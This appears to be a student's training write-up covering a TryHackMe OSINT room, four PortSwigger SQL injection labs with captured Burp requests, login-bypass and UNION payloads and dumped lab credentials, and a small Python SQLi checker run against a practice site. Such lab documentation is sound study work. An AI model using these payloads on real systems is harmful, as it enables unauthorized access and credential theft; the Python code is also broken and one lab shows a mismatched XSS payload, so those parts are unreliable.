

1) TryHackMe | Ohsint

Completion:

Answer the questions below

What is this user's avatar of?

cat

✓ Correct Answer ? Hint

What city is this person in?

London

✓ Correct Answer ? Hint

What is the SSID of the WAP he connected to?

UnileverWiFi

✓ Correct Answer

What is his personal email address?

OWoodflint@gmail.com

✓ Correct Answer

What site did you find his email address on?

Github

✓ Correct Answer

Where has he gone on holiday?

New York

✓ Correct Answer ? Hint

What is the person's password?

pennYDr0pper.!

✓ Correct Answer ? Hint

Objective:

To complete this room by using the OSINT techniques and tools taught to us.
Used google dorking to find usernames and digital footprints like his github profile.

Key Learnings:

I learned practical OSINT tricks using focused Google searches, whois/dig, and the Wayback Machine to find people and domain details. I always double-checked sources to be sure.

Learnt about [Wiggle.net](https://www.wiggle.net/) used for driving and scouting wifi names

Thought-Process:

1. Understand the Question.
2. Google dork for online presence (most of them from social media)
3. Checked page sources for every webpage.

2) Portswigger Labs

Lab 1-

https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data?utm_source=chatgpt.com

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

APPRENTICE



Solved

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

ACCESS THE LAB

Solution

Community solutions

Steps performed: Accessed the lab using Burp's embedded browser and clicked a product category to capture the request.

Sent the GET request to Repeater from Burp Proxy history.

Modified the category parameter to:

The screenshot shows the Burp Suite interface with a captured HTTP request and response. The request is a GET to /filter?category='<script>alert(1)</script>' HTTP/2. The response is an HTTP 200 OK with HTML content. The HTML content includes a title 'SQL injection vulnerability in WHERE clause allowing retrieval of hidden data' and a body with a script tag and a link back to the lab.

Lab: SQL injection vulnerability allowing login bypass

APPRENTICE



LAB



Solved

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the `administrator` user.



ACCESS THE LAB

Solution

Community solutions

1. Intercepted the POST `/login` request using Burp and sent it to Repeater.
2. Modified the username parameter to `' OR 1=1--` to bypass the password check.
3. Sent the request, received a 302 `/my-account` redirect, and accessed the admin account without credentials.

The screenshot displays the Burp Suite interface with an intercepted HTTP request and response. The request is a POST to `/login` with a SQL injection payload in the username field.

Original request

```
9 Accept-Language: en-GB,en;q=0.9
10 Origin: https://0adb00c904ba144a80a985b400150097.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0adb00c904ba144a80a985b400150097.web-security-academy.net/login
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22 Connection: keep-alive
23
24 csrf=xwVc5yglFs4RzjJwUs17ULtnG4G7Ajm&username=' OR 1=1--&password=root
```

Response

```
1 HTTP/2 302 Found
2 Location: /my-account?id=administrator
3 Set-Cookie: session=rmUsDzbvnqjLhu4iSnQQiLaaXmmRXRtK; Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 0
6
7
```

Lab3 -

<https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text>

Lab: SQL injection UNION attack, finding a column containing text

PRACTITIONER



LAB



Solved



This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](#). The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.



ACCESS THE LAB



Solution



Community solutions



Captured the `/filter?category=` request cuz we know its vulnerable.

Created UNION SELECT payloads with NULL placeholders and replaced them with 'a' one at a time to detect which column supports text.

Observed the string appearing on the page, confirming the text-compatible column and solving the lab.

The screenshot displays the Burp Suite interface with a captured HTTP request and response. The request is a GET to `/filter?category=` with a UNION SELECT payload. The response shows the application's output, including a banner and a hint to make the database retrieve the string 'sa2y6x'.

Request:

```
1 GET /filter?category=
2 Pct's%20UNION%20SELECT%20NULL%20%20'sa2y6x'%20%20NULL-- HTTP/2
3 Host: 8a55803c83b538938082bdc089608a5.web-security-academy.net
4 Cookie: session=j46LBNY5uqC8N3u8EDt3uqWqJ8
5 Sec-Ch-Ua: "Not A Brand";v="99", "Chromium";v="142"
6 Sec-Ch-Ua-Platform: "macos"
7 Accept-Language: en-Gb,en;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS 10_15_7)
10 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
11 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml;q=0.8,application/signed-exchange;v=b3;q=0.7
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Referer: https://8a55803c83b538938082bdc089608a5.web-security-academy.net/filter?category=gifts
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, i
18
```

Response:

```
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 5180
5
6 <!DOCTYPE html>
7 <html>
8 <head>
9 <link href=/resources/labheader/css/academyLabHeader.css rel=
10 stylesheet>
11 <link href=/resources/css/labsEcommerce.css rel=stylesheet>
12 <title>
13 SQL injection UNION attack, finding a column containing text
14 </title>
15 </head>
16 <script src=/resources/labheader/js/labHeader.js>
17 </script>
18 <div id=academyLabHeader>
19 <section class=academyLabBanner>
20 <div class=container>
21 <div class=logo>
22 <div class=title-container>
23 <h2>
24 SQL injection UNION attack, finding a column containing
25 text
26 </h2>
27 <div id=lab-link class=button href=/>
28 Back to lab home
29 </div>
30 <div id=hint>
31 Make the database retrieve the string: 'sa2y6x'
32 </div>
33 <div class=link-back href=
34
```

Lab4 - <https://0af400960356864f80f28596000400e2.web-security-academy.net/>



SQL injection UNION attack, retrieving data from other tables

[Back to lab description >>](#)

Congratulations, you solved the lab!

[Share your skills!](#)

My Account

Your username is: administrator

Email

Update email

Identified two columns and the text-compatible column using UNION SELECT testing.

Injected UNION SELECT username, password FROM users-- into the category parameter.

Retrieved admin credentials from the scrolling the html page and logged in successfully to complete the lab.

Request

Pretty Raw Hex

1 GET /filter?category=Toys&20%20Games%20UNION%20SELECT%20username%20password%20FROM%20users-- HTTP/2

2 Host: 0af400960356864f80f28596000400e2.web-security-academy.net

3 Cookie: session=3UzwmewiE1eaWfNx2UBJl3qh7nn5ki6

4 Sec-Ch-Ua: "Not_A_Brand";v="99", "Chromium";v="142"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "macOS"

7 Accept-Language: en-Gb,en;q=0.9

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: ?1

14 Sec-Fetch-Dest: document

15 Referer: https://0af400960356864f80f28596000400e2.web-security-academy.net/

16 Accept-Encoding: gzip, deflate, br

17 Priority: u=0, i

18

19

Response

Pretty Raw Hex Render

80

crawlies and pit your colourful critter against your friend's. Remote controls are included so you just need to pick where your battle ground will be and get the war started. These warring spiders are an ideal gift for someone who loves giant insects fighting. They're a great present to keep the kids entertained at any time and with their 2 metre range you can take the wall all over the floor!

81

Each drone has a laser and sensor meaning the spider will recoil if hit. So make sure you move your tarantula the best to win!

82

</td>

83

<tr>

84

<th>

85

administrator

86

</th>

87

<td>

88

bx7fftzu0g23now2nzb2i

</td>

</tr>

<tr>

<th>

wiener

</th>

<td>

rbc5r6mrkms2n61hvf7

</td>

Inspector

Selection 20 (6x14)

Selected text

ox7fftzu0g23now2nzb2i

Request attributes 2

Request query parameters 1

Request body parameters 0

Request cookies 1

Request headers 19

Response headers 3

4)Tiny SQL CHECKER

The python code:

```
import requests
import json
import hashlib
import time
import argparse

# ---- Utility: fingerprint response ---- #
def fingerprint(resp):
    return {
        "status": resp.status_code,
        "length": len(resp.text),
        "hash": hashlib.md5(resp.text.encode()).hexdigest(),
        "elapsed_ms": int(resp.elapsed.total_seconds() * 1000)
    }

# ---- Send request with one payload ---- #
def send_request(url, param, payload):
    data = {param: payload}
    try:
        resp = requests.get(url, params=data, timeout=5)
        return fingerprint(resp)
    except Exception as e:
        return {"error": str(e)}

# ---- Main checker ---- #
def run_checker(url, param, delay):
    print(f"[+] Testing target: {url} on parameter: {param}")

    baseline_payload = "normaltest"
    true_payload = "" OR 1=1--"
    false_payload = "" AND 1=2--"

    print("[+] Sending baseline request...")
    baseline = send_request(url, param, baseline_payload)
    time.sleep(delay)

    print("[+] Sending TRUE-like payload...")
    true_test = send_request(url, param, true_payload)
    time.sleep(delay)

    print("[+] Sending FALSE-like payload...")
    false_test = send_request(url, param, false_payload)

# ---- Comparison logic ---- #
def is_suspicious(test, label):
```

```

        """Flag differences from baseline."""
        if "error" in test:
            return f"{label}: ERROR {test['error']}"
        if (test["status"] != baseline["status"] or
            test["length"] != baseline["length"] or
            test["hash"] != baseline["hash"]):
            return f"{label}: DIFFERENT from baseline → possible SQLi"
        return f"{label}: Looks normal"

result_summary = {
    "baseline": baseline,
    "true_test": true_test,
    "false_test": false_test,
    "analysis": {
        "true_check": is_suspicious(true_test, "TRUE payload"),
        "false_check": is_suspicious(false_test, "FALSE payload")
    }
}

# Save JSON report
with open("sql_i_report.json", "w") as f:
    json.dump(result_summary, f, indent=4)

print("\n[+] Report saved to sql_i_report.json\n")
return result_summary

# ---- CLI ---- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Tiny SQLi Checker")
    parser.add_argument("--url", required=True, help="Target URL like http://test.com/page")
    parser.add_argument("--param", required=True, help="Parameter name to test")
    parser.add_argument("--delay", type=float, default=1.0, help="Delay between requests")
    args = parser.parse_args()

    run_checker(args.url, args.param, args.delay)

```

Technologies : python, json, hashlib
 Target : <http://testphp.vulnweb.com/artists.php>
 Parameter tested : artist

Methods:

Set the Target

I first confirmed I was allowed to test the target, then provided the tool with the URL and the parameter I wanted to check. This ensures that the tool only tests what I explicitly allow.

Send a Normal Request (Baseline)

The tool sends a completely harmless, normal request to the server.

I recorded the response status, size, content hash, and time taken.

Send a TRUE-like SQLi Payload

Next, the tool sends a classic SQL injection test payload (' OR 1=1--).

If the website behaves differently here, it may be a sign of SQL injection.

Send a FALSE-like SQLi Payload

Then the tool sends another harmless payload (' AND 1=2--) which will always be FALSE.

If the website reacts differently to this one, it helps confirm suspicious behavior noticed in the TRUE payload.

Compare All Responses

The tool compares all three responses, the normal one, the TRUE-like one, and the FALSE-like one.

If the TRUE payload response is noticeably different from the baseline while the FALSE one is not, that often indicates SQL injection patterns.

Record All Results

Every fingerprint and comparison is saved into a structured JSON file, making it easy to review later or share as part of a report.

Manual Verification

The final step is simply checking any suspicious result manually (in a browser or with curl) to make sure it's not just a random fluctuation or false alarm.


```
(shaun@kali)-[~]  
$ cat sqli_report.json
```

```
{  
  "baseline": {  
    "status": 200,  
    "length": 2072,  
    "hash": "44f72424b0e7819258ca598ad90038aa",  
    "elapsed_ms": 510  
  },  
  "true_test": {  
    "status": 200,  
    "length": 2183,  
    "hash": "0628c91eca77cc0be65cc22c11ecd3dc",  
    "elapsed_ms": 523  
  },  
  "false_test": {  
    "status": 200,  
    "length": 2184,  
    "hash": "e392f10f619009a748b92ee17804ebd7",  
    "elapsed_ms": 525  
  },  
  "analysis": {  
    "true_check": "TRUE payload: DIFFERENT from baseline \u2192 possible  
SQLi",  
    "false_check": "FALSE payload: DIFFERENT from baseline \u2192 possible  
SQLi"  
  }  
}
```